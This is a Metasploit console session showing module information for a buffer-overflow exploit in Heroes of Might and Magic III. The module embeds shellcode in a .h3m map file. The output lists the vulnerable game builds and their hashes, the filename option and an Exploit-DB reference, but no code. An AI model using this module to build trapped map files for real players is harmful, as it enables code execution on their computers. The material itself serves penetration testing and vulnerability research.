msf > use exploits/windows/fileformat/homm3_h3m
msf exploit(homm3_h3m) > info
Name: Heroes of Might and Magic III .h3m Map file Buffer Overflow
Module: exploit/windows/fileformat/homm3_h3m
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-07-29
Provided by:
Pierre Lindblad
John AAkerblom
Available targets:
Id Name
-- ----
0 H3 Complete 4.0.0.0 [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]
1 HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]
2 Heroes III Demo 1.0.0.0 [h3demo.exe 522B6F45F534058D02A561838559B1F4]
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME sploit.h3m no If file exists, exploit will be embedded into it. If not, a new default h3m file where it will be embedded will be created.
Payload information:
Description:
This module embeds an exploit into an ucompressed map file (.h3m)
for Heroes of Might and Magic III. Once the map is started in-game,
a buffer overflow occuring when loading object sprite names leads to
shellcode execution.
References:
https://www.exploit-db.com/exploits/37716
Metasploit
